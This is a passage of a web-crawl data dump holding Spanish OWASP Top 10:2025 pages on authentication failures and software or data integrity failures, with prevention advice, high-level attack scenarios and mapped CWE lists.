Memory)](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Ejecución Concurrente Usando un Recurso Compartido con Sincronización Incorrecta ('Condición de Carrera') (Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'))](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 Malas Prácticas en J2EE: Uso de System.exit() (J2EE Bad Practices: Use of System.exit())](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Canal Principal Desprotegido (Unprotected Primary Channel)](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Subida sin Restricciones de Archivos de Tipo Peligroso (Unrestricted Upload of File with Dangerous Type)](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Conflicto de Interpretación (Interpretation Conflict)](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Interpretación Inconsistente de Solicitudes HTTP ('Contrabando de Solicitudes HTTP') (Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling'))](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 Representación Incorrecta de Información Crítica en la Interfaz de Usuario (UI) (User Interface (UI) Misrepresentation of Critical Information)](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 Inicialización Externa de Variables o Almacenes de Datos de Confianza (External Initialization of Trusted Variables or Data Stores)](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 Control Externo de Parámetros Web Asumidos como Inmutables (External Control of Assumed-Immutable Web Parameter)](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Violación de Límites de Confianza (Trust Boundary Violation)](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Credenciales Insuficientemente Protegidas (Insufficiently Protected Credentials)](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Uso de Caché del Navegador Web que Contiene Información Sensible (Use of Web Browser Cache Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Uso de Cookies Persistentes que Contienen Información Sensible (Use of Persistent Cookies Containing Sensitive Information)](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Uso del Método de Solicitud GET con Cadenas de Consulta Sensibles (Use of GET Request Method With Sensitive Query Strings)](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Forzamiento en el Lado del Cliente la Seguridad del Lado del Servidor (Client-Side Enforcement of Server-Side Security)](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Llamada a Función con Argumentos Especificados Incorrectamente (Function Call with Incorrectly Specified Arguments)](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 Control Externo de Datos de Estado Crítico (External Control of Critical State Data)](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Confianza en el Nombre o Extensión de Archivo Suministrado Externamente (Reliance on File Name or Extension of Externally-Supplied File)](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Aislamiento o Compartimentación Inadecuado (Improper Isolation or Compartmentalization)](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Confianza en la Seguridad a través de la Oscuridad (Reliance on Security Through Obscurity)](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violación de los Principios de Diseño Seguro (Violation of Secure Design Principles)](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Uso de Función Potencialmente Peligrosa (Use of Potentially Dangerous Function)](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Fallo del Mecanismo de Protección (Protection Mechanism Failure)](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Control Inadecuado de la Frecuencia de Interacción (Improper Control of Interaction Frequency)](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Confianza en Entradas No Confiables en una Decisión de Seguridad (Reliance on Untrusted Inputs in a Security Decision)](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Forzamiento Incorrecto del Flujo de Comportamiento (Improper Enforcement of Behavioral Workflow)](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Restricción Incorrecta de Capas o Marcos de UI Renderizados (Improper Restriction of Rendered UI Layers or Frames)](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Uso de Enlace Web a un Destino No Confiable con Acceso window.opener (Use of Web Link to Untrusted Target with window.opener Access)](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Superficie de Ataque Excesiva (Excessive Attack Surface)](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 15282, "slov": 1893, "odkazu": 84, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:54", "sha256": "ea04b8ce2ecfa9402be20bed097c2a76f5a550beade2ae7cccf65f40a807f28e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A07_2025-Authentication_Failures/", "titulek": "A07 Fallos de Autenticación - OWASP Top 10:2025", "h1": "A07:2025 Fallas de Autenticación", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A07_2025-Authentication_Failures/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Fallas de Autenticación"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A07:2025 Fallas de Autenticación\n\n## Antecedentes\n\nLas fallas de Autenticación mantienen su posición en el puesto #7 con un ligero cambio de nombre para reflejar con mayor precisión las 36 CWEs de esta categoría. A pesar de los beneficios de los marcos de trabajo estandarizados, esta categoría ha mantenido su rango #7 desde 2021. Las CWEs notables incluidas son *CWE-259: Uso de contraseñas codificadas, CWE-297: Validación incorrecta de certificado con discrepancia de host, CWE-287: Autenticación incorrecta, CWE-384: Fijación de sesión y CWE-798: Uso de credenciales codificadas*.\n\n## Tabla de puntuación\n\n| CWEs Mapeadas | Tasa Máxima de Incidencia | Tasa Promedio de Incidencia | Cobertura Máxima | Cobertura Promedio | Promedio Ponderado de Explotación | Promedio Ponderado de Impacto | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 | 7,147 |\n\n## Descripción\n\nEsta vulnerabilidad está presente cuando un atacante es capaz de engañar a un sistema para que reconozca como legítimo a un usuario inválido o incorrecto. Puede haber debilidades de autenticación si la aplicación:\n\n- Permite ataques automatizados como el relleno de credenciales (credential stuffing), donde el atacante dispone de una lista filtrada de nombres de usuario y contraseñas válidos. Recientemente, este tipo de ataque se ha ampliado para incluir ataques de contraseñas híbridos (también conocidos como ataques de aspersión de contraseñas o password spray), en los que el atacante utiliza variaciones o incrementos de credenciales comprometidas para obtener acceso; por ejemplo, probando Password1!, Password2!, Password3!, y así sucesivamente.\n- Permite ataques de fuerza bruta u otros ataques automatizados y programados (scripts) que no se bloquean rápidamente.\n- Permite contraseñas predeterminadas, débiles o muy conocidas, como \"Password1\" o un nombre de usuario \"admin\" con una contraseña \"admin\".\n- Permite a los usuarios crear nuevas cuentas con credenciales que ya se sabe que han sido vulneradas.\n- Permite el uso de procesos de recuperación de credenciales y de olvido de contraseña débiles o ineficaces, como las \"preguntas de seguridad basadas en el conocimiento\", que no pueden hacerse seguras.\n- Utiliza almacenes de datos de contraseñas en texto claro, cifrados o con hash débil (ver [A04:2025-Fallas Criptográficas](https://owasp.org/Top10/2025/A04_2025-Cryptographic_Failures/)).\n- Carece de autenticación de múltiples factores (MFA) o esta es ineficaz.\n- Permite el uso de alternativas (fallbacks) débiles o ineficaces si la autenticación de múltiples factores no está disponible.\n- Expone el identificador de sesión en la URL, en un campo oculto o en otra ubicación insegura accesible para el cliente.\n- Reutiliza el mismo identificador de sesión después de un inicio de sesión exitoso.\n- No invalida correctamente las sesiones de usuario o los tokens de autenticación (principalmente los tokens de inicio de sesión único (SSO)) durante el cierre de sesión o tras un periodo de inactividad.\n- No valida correctamente el alcance (scope) y la audiencia prevista de las credenciales proporcionadas.\n\n## Cómo prevenir\n\n- Siempre que sea posible, implementar y aplicar el uso de la autenticación de múltiples factores (MFA) para evitar ataques automatizados de relleno de credenciales, fuerza bruta y reutilización de credenciales robadas.\n- Siempre que sea posible, fomentar y habilitar el uso de gestores de contraseñas para ayudar a los usuarios a tomar mejores decisiones.\n- No distribuir ni desplegar aplicaciones con credenciales predeterminadas, especialmente para los usuarios administradores.\n- Implementar comprobaciones de contraseñas débiles, como probar las contraseñas nuevas o modificadas contra la lista de las 10,000 peores contraseñas.\n- Durante la creación de nuevas cuentas y los cambios de contraseña, validar contra listas de credenciales que se sabe han sido vulneradas (por ejemplo: utilizando [haveibeenpwned.com](https://haveibeenpwned.com)).\n- Alinear la longitud, la complejidad y las políticas de rotación de las contraseñas con las [directrices del Instituto Nacional de Estándares y Tecnología (NIST) 800-63b en la sección 5.1.1](https://pages.nist.gov/800-63-3/sp800-63b.html#:~:text=5.1.1%20Memorized%20Secrets) para Secretos Memorizados u otras políticas de contraseñas modernas y basadas en evidencias.\n- No obligar a los seres humanos a rotar las contraseñas a menos que se sospeche de una vulneración. Si se sospecha de una vulneración, forzar el restablecimiento de las contraseñas de inmediato.\n- Asegurarse de que las rutas de registro, recuperación de credenciales y API estén protegidas contra ataques de enumeración de cuentas utilizando los mismos mensajes para todos los resultados (\"Nombre de usuario o contraseña inválidos\").\n- Limitar o retrasar de forma incremental los intentos fallidos de inicio de sesión, pero teniendo cuidado de no crear un escenario de denegación de servicio. Registrar todas las fallas y alertar a los administradores cuando se detecten o sospechen ataques de relleno de credenciales, fuerza bruta u otros.\n- Utilizar un gestor de sesiones integrado, seguro y del lado del servidor que genere un nuevo ID de sesión aleatorio con alta entropía después del inicio de sesión. Los identificadores de sesión no deben estar en la URL, deben almacenarse de forma segura en una cookie segura e invalidarse tras el cierre de sesión, por inactividad y tras tiempos de espera absolutos.\n- Idealmente, utilizar un sistema ya establecido y de confianza para gestionar la autenticación, la identidad y la gestión de sesiones. Transferir este riesgo siempre que sea posible adquiriendo y utilizando un sistema robusto y bien probado.\n- Verificar el uso previsto de las credenciales proporcionadas; por ejemplo, para los JWT, validar las afirmaciones (*claims*) `aud`, `iss` y los alcances (scopes).\n\n## Ejemplos de escenarios de ataque\n\n**Escenario #1:** El relleno de credenciales (credential stuffing), es decir, el uso de listas de combinaciones conocidas de nombre de usuario y contraseña, es actualmente un ataque muy común. Recientemente, se ha descubierto que los atacantes \"incrementan\" o ajustan de otro modo las contraseñas, basándose en el comportamiento humano común. Por ejemplo, cambiando 'Invierno2025' por 'Invierno2026', o 'AmoAMiPerro6' por 'AmoAMiPerro7' o 'AmoAMiPerro5'. Este ajuste de los intentos de contraseña se denomina ataque de relleno de credenciales híbrido o ataque de aspersión de contraseñas (password spray), y pueden ser incluso más eficaces que la versión tradicional. Si una aplicación no implementa defensas contra amenazas automatizadas (fuerza bruta, scripts o bots) o relleno de credenciales, la aplicación puede utilizarse como un \"oráculo de contraseñas\" para determinar si las credenciales son válidas y obtener acceso no autorizado.\n\n**Escenario #2:** La mayoría de los ataques de autenticación con éxito se producen debido al uso continuado de las contraseñas como único factor de autenticación. Lo que antes se consideraba una buena práctica, como los requisitos de rotación y complejidad de las contraseñas, incita a los usuarios tanto a reutilizar contraseñas como a usar contraseñas débiles. Se recomienda a las organizaciones que dejen de aplicar estas prácticas, según la norma NIST 800-63, y que impongan el uso de la autenticación de múltiples factores en todos los sistemas importantes.\n\n**Escenario #3:** Los tiempos de espera de las sesiones de la aplicación no se han implementado correctamente. Un usuario utiliza un ordenador público para acceder a una aplicación y, en lugar de seleccionar \"cerrar sesión\", simplemente cierra la pestaña del navegador y se marcha. Otro ejemplo de esto es si una sesión de inicio de sesión único (SSO) no puede cerrarse mediante un cierre de sesión único (SLO). Es decir, un único inicio de sesión le permite acceder, por ejemplo, a su lector de correo, a su sistema de documentos y a su sistema de chat. Pero el cierre de sesión solo se produce en el sistema actual. Si un atacante utiliza el mismo navegador después de que la víctima crea que ha cerrado la sesión con éxito, pero con el usuario todavía autenticado en algunas de las aplicaciones, podrá acceder a la cuenta de la víctima. El mismo problema puede ocurrir en oficinas y empresas cuando no se ha salido correctamente de una aplicación sensible y un colega tiene acceso (temporal) al ordenador desbloqueado.\n\n## Referencias\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/stable-en/01-introduction/05-introduction)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-258 Contraseña Vacía en Archivo de Configuración (Empty Password in Configuration File)](https://cwe.mitre.org/data/definitions/258.html)\n- [CWE-259 Uso de Contraseña Codificada de Forma Rígida (Use of Hard-coded Password)](https://cwe.mitre.org/data/definitions/259.html)\n- [CWE-287 Autenticación Incorrecta (Improper Authentication)](https://cwe.mitre.org/data/definitions/287.html)\n- [CWE-288 Elusión de Autenticación Mediante una Ruta o Canal Alternativo (Authentication Bypass Using an Alternate Path or Channel)](https://cwe.mitre.org/data/definitions/288.html)\n- [CWE-289 Elusión de Autenticación por Nombre Alternativo (Authentication Bypass by Alternate Name)](https://cwe.mitre.org/data/definitions/289.html)\n- [CWE-290 Elusión de Autenticación por Suplantación de Identidad (Authentication Bypass by Spoofing)](https://cwe.mitre.org/data/definitions/290.html)\n- [CWE-291 Dependencia de la Dirección IP para la Autenticación (Reliance on IP Address for Authentication)](https://cwe.mitre.org/data/definitions/291.html)\n- [CWE-293 Uso del Campo Referer para la Autenticación (Using Referer Field for Authentication)](https://cwe.mitre.org/data/definitions/293.html)\n- [CWE-294 Elusión de Autenticación por Captura y Repetición (Authentication Bypass by Capture-replay)](https://cwe.mitre.org/data/definitions/294.html)\n- [CWE-295 Validación Inadecuada del Certificado (Improper Certificate Validation)](https://cwe.mitre.org/data/definitions/295.html)\n- [CWE-297 Validación Inadecuada del Certificado con Discrepancia de Host (Improper Validation of Certificate with Host Mismatch)](https://cwe.mitre.org/data/definitions/297.html)\n- [CWE-298 Validación Inadecuada de la Caducidad del Certificado (Improper Validation of Certificate Expiration)](https://cwe.mitre.org/data/definitions/298.html)\n- [CWE-299 Validación Inadecuada de la Revocación del Certificado (Improper Check for Certificate Revocation)](https://cwe.mitre.org/data/definitions/299.html)\n- [CWE-300 Canal Accesible por un No-Punto Final (Channel Accessible by Non-Endpoint)](https://cwe.mitre.org/data/definitions/300.html)\n- [CWE-302 Elusión de Autenticación por Datos Supuestamente Inmutables (Authentication Bypass by Assumed-Immutable Data)](https://cwe.mitre.org/data/definitions/302.html)\n- [CWE-303 Implementación Incorrecta del Algoritmo de Autenticación (Incorrect Implementation of Authentication Algorithm)](https://cwe.mitre.org/data/definitions/303.html)\n- [CWE-304 Falta de un Paso Crítico en la Autenticación (Missing Critical Step in Authentication)](https://cwe.mitre.org/data/definitions/304.html)\n- [CWE-305 Elusión de Autenticación por Debilidad Primaria (Authentication Bypass by Primary Weakness)](https://cwe.mitre.org/data/definitions/305.html)\n- [CWE-306 Falta de Autenticación para una Función Crítica (Missing Authentication for Critical Function)](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-307 Restricción Inadecuada de Intentos Excesivos de Autenticación (Improper Restriction of Excessive Authentication Attempts)](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-308 Uso de Autenticación de Factor Único (Use of Single-factor Authentication)](https://cwe.mitre.org/data/definitions/308.html)\n- [CWE-309 Uso del Sistema de Contraseñas para la Autenticación Primaria (Use of Password System for Primary Authentication)](https://cwe.mitre.org/data/definitions/309.html)\n- [CWE-346 Error de Validación de Origen (Origin Validation Error)](https://cwe.mitre.org/data/definitions/346.html)\n- [CWE-350 Dependencia de la Resolución DNS Inversa para una Acción Crítica de Seguridad (Reliance on Reverse DNS Resolution for a Security-Critical Action)](https://cwe.mitre.org/data/definitions/350.html)\n- [CWE-384 Fijación de Sesión (Session Fixation)](https://cwe.mitre.org/data/definitions/384.html)\n- [CWE-521 Requisitos de Contraseña Débiles (Weak Password Requirements)](https://cwe.mitre.org/data/definitions/521.html)\n- [CWE-613 Expiración de Sesión Insuficiente (Insufficient Session Expiration)](https://cwe.mitre.org/data/definitions/613.html)\n- [CWE-620 Cambio de Contraseña no Verificado (Unverified Password Change)](https://cwe.mitre.org/data/definitions/620.html)\n- [CWE-640 Mecanismo de Recuperación de Contraseña Débil (Weak Password Recovery Mechanism for Forgotten Password)](https://cwe.mitre.org/data/definitions/640.html)\n- [CWE-798 Uso de Credenciales Codificadas de Forma Rígida (Use of Hard-coded Credentials)](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-940 Verificación Inadecuada del Origen de un Canal de Comunicación (Improper Verification of Source of a Communication Channel)](https://cwe.mitre.org/data/definitions/940.html)\n- [CWE-941 Destino Especificado Incorrectamente en un Canal de Comunicación (Incorrectly Specified Destination in a Communication Channel)](https://cwe.mitre.org/data/definitions/941.html)\n- [CWE-1390 Autenticación Débil (Weak Authentication)](https://cwe.mitre.org/data/definitions/1390.html)\n- [CWE-1391 Uso de Credenciales Débiles (Use of Weak Credentials)](https://cwe.mitre.org/data/definitions/1391.html)\n- [CWE-1392 Uso de Credenciales por Defecto (Use of Default Credentials)](https://cwe.mitre.org/data/definitions/1392.html)\n- [CWE-1393 Uso de Contraseña por Defecto (Use of Default Password)](https://cwe.mitre.org/data/definitions/1393.html)", "znaku_textu": 13992, "slov": 1752, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:55", "sha256": "b4ccc1fc23b7a366b22e11ae126e9501df81716d01863a80fc9ef917603460c0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://pages.nist.gov/800-63-3/sp800-63b.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Fallos de Integridad de Software o Datos - OWASP Top 10:2025", "h1": "A08:2025 Fallas en la Integridad del Software o de los Datos", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Fallas en la Integridad del Software o de los Datos"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Ejemplos de escenarios de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWEs Mapeadas"}], "markdown": "# A08:2025 Fallas en la Integridad del Software o de los Datos\n\n## Antecedentes\n\nLas fallas en la Integridad del Software o de los Datos continúan en el puesto #8, con un ligero cambio de nombre aclaratorio de \"Fallas de Integridad de Software *o* Datos\" (anteriormente \"Fallas de Integridad de Software *y* Datos\"). Esta categoría se centra en la falla de mantener los límites de confianza y verificar la integridad del software, el código y los artefactos de datos a un nivel inferior al de las fallas en la Cadena de Suministro de Software. Esta categoría se enfoca en hacer suposiciones relacionadas con las actualizaciones de software y los datos críticos, sin verificar su integridad. Las Enumeraciones de Debilidades Comunes (CWEs) notables incluyen *CWE-829: Inclusión de funcionalidad de una esfera de control no confiable, CWE-915: Modificación controlada incorrectamente de atributos de objetos determinados dinámicamente y CWE-502: Deserialización de datos no confiables*.\n\n## Tabla de puntuación\n\n| CWEs Mapeadas | Tasa Máxima de Incidencia | Tasa Promedio de Incidencia | Cobertura Máxima | Cobertura Promedio | Promedio Ponderado de Explotación | Promedio Ponderado de Impacto | Ocurrencias Totales | CVEs Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 | 3,331 |\n\n## Descripción\n\nLas fallas de integridad de software y datos se relacionan con el código y la infraestructura que no protege contra el hecho de que el código o los datos inválidos o no confiables sean tratados como confiables y válidos. Un ejemplo de esto es cuando una aplicación confía en complementos (plugins), bibliotecas o módulos de fuentes, repositorios y redes de entrega de contenidos (CDN) no confiables. Una canalización (pipeline) CI/CD insegura, sin el uso y la provisión de comprobaciones de integridad del software, puede dar lugar a la posibilidad de acceso no autorizado, código inseguro o malicioso, o compromiso del sistema. Otro ejemplo de esto es un CI/CD que extrae código o artefactos de lugares no confiables y/o no los verifica antes de su uso (mediante la comprobación de la firma o un mecanismo similar). Por último, muchas aplicaciones incluyen ahora una funcionalidad de actualización automática, en la que las actualizaciones se descargan sin una verificación de integridad suficiente y se aplican a la aplicación previamente confiable. Los atacantes podrían subir sus propias actualizaciones para que se distribuyan y ejecuten en todas las instalaciones. Otro ejemplo es cuando los objetos o datos se codifican o serializan en una estructura que un atacante puede ver y modificar, lo cual es vulnerable a la deserialización insegura.\n\n## Cómo prevenir\n\n- Utilizar firmas digitales o mecanismos similares para verificar que el software o los datos proceden de la fuente esperada y no han sido alterados.\n- Asegurarse de que las bibliotecas y dependencias, como npm o Maven, solo consuman repositorios de confianza. Si se tiene un perfil de riesgo elevado, se debe considerar la posibilidad de alojar un repositorio interno con versiones de confianza que haya sido verificado.\n- Garantizar que exista un proceso de revisión de los cambios de código y configuración para minimizar la posibilidad de que se introduzca código o configuración maliciosa en su flujo de software.\n- Asegurarse de que su canalización CI/CD tenga la segregación, configuración y control de acceso adecuados para garantizar la integridad del código que fluye a través de los procesos de construcción y despliegue.\n- Garantizar que no se reciban datos serializados sin firmar o sin cifrar de clientes no confiables y que se utilicen posteriormente sin algún tipo de comprobación de integridad o firma digital para detectar la manipulación o el reenvío (replay) de los datos serializados.\n\n## Ejemplos de escenarios de ataque\n\n**Escenario #1: Inclusión de funcionalidad web de una fuente no confiable:** Una empresa utiliza un proveedor de servicios externo para proporcionar una funcionalidad de soporte. Por conveniencia, tiene un mapeo de DNS de `miEmpresa.ProveedorSoporte.com` a `soporte.miEmpresa.com`. Esto significa que todas las cookies, incluidas las de autenticación, establecidas en el dominio `miEmpresa.com` se enviarán ahora al proveedor de soporte. Cualquier persona con acceso a la infraestructura del proveedor de soporte puede robar las cookies de todos sus usuarios que hayan visitado `soporte.miEmpresa.com` y realizar un ataque de secuestro de sesión (session hijacking).\n\n**Escenario #2: Actualización sin firma:** Muchos routers domésticos, decodificadores, firmware de dispositivos y otros, no verifican las actualizaciones mediante firmware firmado. El firmware no firmado es un objetivo creciente para los atacantes y se espera que la situación empeore. Esto es una gran preocupación, ya que muchas veces no hay más mecanismo de remediación que corregirlo en una versión futura y esperar a que las versiones anteriores dejen de utilizarse.\n\n**Escenario #3: Uso de un paquete de una fuente no confiable:** Un desarrollador tiene problemas para encontrar la versión actualizada de un paquete que está buscando, por lo que lo descarga no del gestor de paquetes habitual y de confianza, sino de un sitio web en internet. El paquete no está firmado y, por lo tanto, no hay oportunidad de garantizar su integridad. El paquete incluye código malicioso.\n\n**Escenario #4: Deserialización insegura:** Una aplicación React llama a un conjunto de microservicios de Spring Boot. Al ser programadores funcionales, trataron de asegurar que su código fuera inmutable. La solución que se les ocurrió es serializar el estado del usuario y pasarlo de un lado a otro con cada solicitud. Un atacante observa la firma del objeto Java \"rO0\" (en base64) y utiliza el [Escáner de Deserialización de Java](https://github.com/federicodotta/Java-Deserialization-Scanner) para obtener la ejecución remota de código en el servidor de la aplicación.\n\n## Referencias\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://wiki.owasp.org/index.php/Deserialization_Cheat_Sheet)\n- [SAFECode Software Integrity Controls](https://safecode.org/publication/SAFECode_Software_Integrity_Controls0610.pdf)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.io/security-update)\n- [Securing DevOps by Julien Vehent](https://www.manning.com/books/securing-devops)\n- [Insecure Deserialization by Tenendo](https://tenendo.com/insecure-deserialization/)\n\n## Lista de CWEs Mapeadas\n\n- [CWE-345 Verificación Insuficiente de la Autenticidad de los Datos (Insufficient Verification of Data Authenticity)](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-353 Falta de Soporte para la Verificación de Integridad (Missing Support for Integrity Check)](https://cwe.mitre.org/data/definitions/353.html)\n- [CWE-426 Ruta de Búsqueda No Confiable (Untrusted Search Path)](https://cwe.mitre.org/data/definitions/426.html)\n- [CWE-427 Elemento de Ruta de Búsqueda No Controlado (Uncontrolled Search Path Element)](https://cwe.mitre.org/data/definitions/427.html)\n- [CWE-494 Descarga de Código sin Verificación de 